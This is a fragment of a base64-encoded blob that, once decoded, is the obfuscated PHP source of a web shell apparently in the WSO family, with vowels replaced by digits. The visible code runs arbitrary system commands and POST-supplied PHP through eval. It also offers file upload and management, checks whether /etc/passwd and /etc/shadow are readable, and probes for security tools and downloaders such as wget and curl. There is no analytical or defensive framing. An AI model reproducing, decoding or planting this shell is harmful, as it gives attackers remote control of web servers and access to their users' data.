FNbJzJzJ10gPT0gJ3c0bicpIHsNCiAgICAgICAgZjJyNTFjaCggcjFuZzUoJzEnLCd6JykgMXMgJGRyNHY1ICkNCiAgICAgICAgNGYgKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgIH0NCiAgICA1Y2gyICc8dDFibDUgY2wxc3M9NG5mMiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+VW4xbTU8YnI+VXM1cjxicj5QaHA8YnI+SGRkPGJyPkN3ZCcuKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzJzonJykuJzwvc3Axbj48L3RkPicuDQogICAgICAgICAnPHRkPjo8bjJicj4nLnMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkuJyAgPDEgaHI1Zj0iaHR0cDovL3d3dy5nMjJnbDUuYzJtL3M1MXJjaD9xPScuM3JsNW5jMmQ1KEBwaHBfM24xbTUoKSkuJyIgdDFyZzV0PSJfYmwxbmsiPltHMjJnbDVdPC8xPiA8MSBocjVmPSInLiRtNGxsNG5rLiciIHQxcmc1dD1fYmwxbms+W200bHcwcm1dPC8xPjwvbjJicj48YnI+OicuJDM0ZC4nICggJy4kM3M1ci4nICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnLiRnNGQuJyAoICcuJGdyMjNwLicgKTxicj46Jy5AcGhwdjVyczQybigpLicgPHNwMW4+UzFmNSBtMmQ1Ojwvc3Axbj4gJy4oJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+JzonPGYybnQgYzJsMnI9PD89JGMybDJyPz48Yj5PRkY8L2I+PC9mMm50PicpLicgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLG4zbGwsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJykuJzxicj46Jy52NDV3UzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJy52NDV3UzR6NSgkZnI1NVNwMWM1KS4nICgnLig0bnQpKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKS4nJSk8YnI+OicuJGN3ZF9sNG5rcy4nICcudjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKS4nIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJEdMT0JBTFNbJ2gybTVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPjonLiRkcjR2NXMuJzwvdGQ+Jy4NCiAgICAgICAgICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicuJDJwdF9jaDFyczV0cy4nPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+Jy5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jy4NCiAgICAgICAgICc8dDFibDUgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicuJG01bjMuJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCiANCmYzbmN0NDJuIHByNG50RjIydDVyKCkgew0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IjxmMm50IGMybDJyPWdyNTVuPlsgV3I0dDUxYmw1IF08L2YybnQ+IjoiPGYybnQgYzJsMnI9cjVkPlsgTjJ0IHdyNHQxYmw1IF08L2YybnQ+IjsNCj8+DQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Ijw/PWh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKTs/PiI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PD89JDRzX3dyNHQxYmw1Pz48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7Ij48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9InQyMmxzSW5wIiB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48Pz0kNHNfd3I0dDFibDU/PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9InQyMmxzSW5wIiB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSIiPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnPz4nPg0KICAgICAgICA8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjw/PSQ0c193cjR0MWJsNT8+PC90ZD4NCiAgICA8L3RyPg0KIA0KPC90MWJsNT4NCjwvZDR2Pg0KPC9iMmR5PjwvaHRtbD4NCjw/cGhwDQp9DQo0ZiAoICFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkgKSB7IGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7IHI1dDNybiBmMWxzNTsgfSB9DQo0ZiAoICFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkgKSB7IGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7IHI1dDNybiBmMWxzNTsgfSB9DQpmM25jdDQybiA1eCgkNG4pIHsNCiAgICAkMjN0ID0gJyc7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgQDV4NWMoJDRuLCQyM3QpOw0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAcDFzc3RocjMoJDRuKTsNCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KICAgIH01bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQogICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgfTVsczU0Zig0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgJDIzdCA9ICIiOw0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKQ0KICAgICAgICAgICAgJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCiAgICAgICAgcGNsMnM1KCRmKTsNCiAgICB9DQogICAgcjV0M3JuICQyM3Q7DQp9DQpmM25jdDQybiB2NDV3UzR6NSgkcykgew0KICAgIDRmKCRzID49IDYwN283dTY4YXUpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCiAgICA1bHM1NGYoJHMgPj0gNjBhdSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAkcyAuICcgQic7DQp9DQogDQpmM25jdDQybiBwNXJtcygkcCkgew0KICAgIDRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQogICAgNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgIDVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQogICAgNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCiAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgIHI1dDNybiAkNDsNCn0NCmYzbmN0NDJuIHY0NXdQNXJtc0MybDJyKCRmKSB7ICANCiAgICA0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KICAgIDVsczU0ZiAoIUA0c193cjR0MWJsNSgkZikpDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+PGI+Jy5wNXJtcyhAZjRsNXA1cm1zKCRmKSkuJzwvYj48L2YybnQ+JzsNCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KfQ0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQogICAgZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQogICAgICAgICRkaCAgPSAycDVuZDRyKCRkNHIpOw0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSB7DQogICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCmYzbmN0NDJuIHdoNGNoKCRwKSB7DQogICAgJHAxdGggPSA1eCgnd2g0Y2ggJy4kcCk7DQogICAgNGYoITVtcHR5KCRwMXRoKSkNCiAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgIHI1dDNybiBmMWxzNTsNCn0NCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICBmM25jdDQybiBzaDJ3UzVjUDFyMW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgIDRmKCR2KSB7DQogICAgICAgICAgICA1Y2gyICc8c3Axbj4nLiRuLic6IDwvc3Axbj4nOw0KICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgNWNoMiAkdi4nPGJyPic7DQogICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy4kdi4nPC9wcjU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAgDQogICAgc2gyd1M1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddKT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KICAgIHNoMndTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgIHNoMndTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KICAgICR0NW1wPTFycjF5KCk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJPcjFjbDUiOw0KICAgIHNoMndTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCiAgICA1Y2gyICc8YnI+JzsNCiAgICAgDQogICAgNGYoICRHTE9CQUxTWycycyddID09ICduNHgnICkgew0KICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvcDFzc3dkJywgQDRzX3I1MWQxYmw1KCcvNXRjL3Axc3N3ZCcpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInAxc3N3ZFwiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIjV0Y1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdENHN0ciBuMW01JywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjLzRzczM1Lm41dCcpKTsNCiAgICAgICAgNGYoISRHTE9CQUxTWydzMWY1X20yZDUnXSkgew0KICAgICAgICAgICAgNWNoMiAnPGJyPic7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnVXM1cmYzbCcsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRkMW5nNXIgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDFuZzVyJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSAgDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0hERCBzcDFjNScsIDV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnTTIzbnQgMnB0NDJucycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9mc3QxYicpKTsNCiAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgVjVyczQybicsNXgoJ3Y1cicpKTsgIA0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLDV4KCduNXQgMWNjMjNudHMnKSk7ICANCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyw1eCgnbjV0IDNzNXInKSk7DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWycxajF4J10pICkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7ICANCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykgKSB7DQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIHBocDRuZjIoKTsNCiAgICAgICAgJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchYjJkeSB7Lip9IW1zNFUnLCcnLCR0bXApOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchMTpcdysgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIWg2IW1zNFUnLCdoYScsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIWIyZHksIHRkLCB0aCwgaGEsIGhhIHsuKn0hbXM0VScsJycsJHRtcCk7DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICAgICAgNWNoMiAnPC9kNHY+PGJyPic7DQogICAgfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KICAgIDVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCiAgICB9DQogICAgNWNoMiAnPC9wcjU+PC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgIDRmKCFAbTJ2NV8zcGwyMW